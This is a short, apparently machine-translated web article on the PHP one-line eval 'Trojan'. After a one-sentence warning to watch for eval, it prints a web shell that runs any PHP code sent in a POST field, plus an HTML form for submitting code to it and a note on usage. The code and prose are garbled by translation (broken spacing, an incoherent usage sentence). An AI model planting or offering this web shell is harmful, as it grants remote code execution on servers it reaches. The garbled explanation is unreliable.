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Php eval function one-sentence Trojan code, phpeval function one-sentence

Source: Internet
Author: User
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Php eval function one-sentence Trojan code, phpeval function one-sentence

Eval can be used to execute any other php code. Therefore, be careful when you find the eval function in the code. It may be a Trojan.

In this way, anyone can post any file, so do a good job of prevention.

<? Php @ eval ($ _ POST ['C']);?>

The usage method is also very simple. When a local file is submitted pointing to the submitted file, the php code in the file will be executed.

<Html> <body> <form action = ". php "method =" post "> <input type =" text "name =" c "value =" phpinfo (); "> <input type =" submit "value =" submit "> </form> </body>  

The above is all the content of this article. I hope you will like it.

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Related Keywords:
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